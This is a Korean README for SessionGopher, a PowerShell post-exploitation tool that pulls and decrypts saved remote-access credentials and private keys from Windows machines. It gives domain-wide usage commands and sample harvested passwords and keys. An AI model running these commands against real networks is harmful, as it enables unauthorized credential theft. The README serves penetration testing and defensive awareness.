
SessionGopher는 WMI를 사용하여 WinSCP, PuTTY, SuperPuTTY, FileZilla 및 Microsoft 원격 데스크톱과 같은 원격 액세스 도구에 대한 저장된 세션 정보를 추출하는 PowerShell 도구입니다. 원격 또는 로컬로 실행할 수 있습니다.
Copyright 2017 FireEye, Brandon Arvanaghi (@arvanaghi)가 제작
Apache License, Version 2.0 (이하 "라이선스")에 따라 라이선스가 부여됩니다. 이 라이선스의 준수 없이 이 파일을 사용할 수 없습니다. 라이선스 사본은 다음에서 얻을 수 있습니다.
http://www.apache.org/licenses/LICENSE-2.0
적용 법률에 의해 요구되거나 서면으로 동의하지 않는 한, 라이선스에 따라 배포되는 소프트웨어는 "있는 그대로" 배포되며, 명시적이든 묵시적이든 어떠한 종류의 보증이나 조건도 없습니다. 라이선스 하의 권리 및 제한 사항을 규정하는 특정 언어는 라이선스를 참조하십시오.
SessionGopher는 원격 접속 도구의 저장된 세션 정보를 찾고 복호화하는 PowerShell 도구입니다. WMI 기능이 내장되어 있어 원격으로 실행할 수 있습니다. 가장 좋은 사용 사례는 Unix 시스템, 점프 박스 또는 POS(Point-of-Sale) 단말기에 연결할 수 있는 시스템을 식별하는 것입니다.
SessionGopher는 HKEY_USERS 하이브를 쿼리하여 도메인에 가입된 시스템에 한 번이라도 로그인한 모든 사용자의 정보를 추출합니다. PuTTY, WinSCP, SuperPuTTY, FileZilla 및 RDP에 저장된 세션 정보를 추출합니다. WinSCP, FileZilla 및 SuperPuTTY의 저장된 비밀번호를 자동으로 추출하고 복호화합니다.
Thorough 모드로 실행하면 모든 드라이브에서 PuTTY 개인 키 파일(.ppk)을 검색하고 키 자체를 포함한 모든 관련 개인 키 정보와 원격 데스크톱(.rdp) 및 RSA(.sdtid) 파일도 추출합니다.
-Thorough: 모든 드라이브에서 PuTTY 개인 키(.ppk), 원격 데스크톱 연결(.rdp) 및 RSA(.sdtid) 파일을 검색합니다.
-o: 데이터를 .csv 파일 폴더에 출력합니다.
-iL: SessionGopher를 실행할 호스트 목록이 포함된 파일을 제공합니다. 각 호스트는 새 줄로 구분됩니다. -iL 뒤에 파일 경로를 지정합니다.
-AllDomain: SessionGopher가 Active Directory에서 모든 도메인 가입 시스템을 쿼리하여 모두에 대해 실행합니다.
-Target: 대상으로 지정할 특정 호스트입니다. -Target 뒤에 대상 호스트를 지정합니다.
. .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
원격으로 실행하려면 -u 및 -p 플래그를 사용하여 원격 시스템에 대한 권한 있는 계정의 자격 증명을 제공하거나, -u 및 -p 플래그를 생략하면 SessionGopher가 스크립트를 실행하는 계정의 보안 컨텍스트에서 실행됩니다 (예: 이미 DA 계정으로 로그인한 경우, 대상 시스템의 로컬 관리자 계정으로 로그인한 경우, 또는 _runas_를 사용하여 위 두 경우 중 하나를 수행한 경우 자격 증명을 제공할 필요가 없습니다).
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
또는
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -iL computerlist.txt -u domain.com\adm-arvanaghi -p s3cr3tP@ss -o
또는
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Target brandonArvanaghi_win7 -Thorough
이 명령 중 어떤 것이든 -Thorough와 함께 사용할 수 있지만, 원격 파일 시스템 전체를 쿼리하므로 훨씬 오래 걸립니다. 한 번에 소규모 시스템 집합 이상을 쿼리할 때는 -Thorough 모드로 실행하지 않는 것이 좋습니다.
-o (CSV 출력)를 추가하여 원격으로 실행하면 SessionGopher가 발견된 모든 세션을 축적하고 해당 저장된 세션이 발견된 정확한 위치를 알려주므로 편리합니다.
SessionGopher가 추출된 세션의 .csv 파일을 깔끔하게 포함하는 폴더를 생성하도록 하려면:
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
... 끝입니다.
HKEY_USERS의 모든 사용자에 대해 저장된 세션 정보에 접근하려면 로컬 관리자 권한이 필요합니다. 로컬 관리자 권한이 없더라도 해당 사용자의 저장된 세션 정보는 계속 받을 수 있습니다.
[+] Win7-Arvanaghi 에서 발굴 중 ...
WinSCP 세션
세션 : [email protected]
호스트명 : 198.273.212.334
사용자명 : admin-anthony
비밀번호 : Super*p@ssw0rd
세션 : [email protected]
호스트명 : 204.332.455.213
사용자명 : Freddy
비밀번호 : angelico1892
FileZilla 세션
이름 : BarrySite
비밀번호 : imr34llytheFl@sh
호스트 : 10.8.30.21
사용자 : BarryAllen
프로토콜 : 가능한 경우 FTP over TLS 사용
계정 : BarryAllenAccount
포트 : 22
PuTTY 세션
세션 : PointOfSaleTerminal
호스트명 : 10.8.0.10
PuTTY 개인 키 파일(.ppk)
경로 : C:\Users\Brandon Arvanaghi\Documents\mykey.ppk
프로토콜 : ssh-rsa
주석 : rsa-key-20170116
개인 키 암호화 : 없음
개인 키 : {AAABAEazxtDz6E9mDeONOmz07sG/n1eS1pjKI8fOCuuLnQC58LeCTlysOmZ1/iC4, g4HyRpmdKJGhIxj66/RQ135hVesyk02StleepK4+Tnvz3zmdr4Do5W99qKkrWI3D, T9GOxOIoR9Zc6j57D+fdesJq4ItEIxcQZlXC1F9KZcbXjSJ3iBmCsbG/aRJmMJNx,
nCMaZkySr4R4Z/E+l1JOzXaHh5WQ2P0K4YM1/6XG6C4VzDjvXwcY67MYsobTeCR2...}
개인 MAC : b7e47819fee39a95eb374a97f939c3c868f880de
Microsoft 원격 데스크톱(RDP) 세션
호스트명 : us.greatsite.com
사용자명 : Domain\tester
Microsoft 원격 데스크톱 .rdp 파일
경로 : C:\Users\Brandon Arvanaghi\Desktop\config\PenTestLab-Win.RDP
호스트명 : dc01.corp.hackerplaypen.com
게이트웨이 : rds01.corp.hackerplaypen.com
자격 증명 요구 여부 : 아니요
관리 세션 : 원격 호스트의 관리 세션에 연결하지 않음
Brandon Arvanaghi (@arvanaghi) 작성
이 코드는 처음 FireEye에서 개발되었습니다. 그러나 이후의 모든 업데이트는 작성자가 FireEye 외부에서 수행합니다.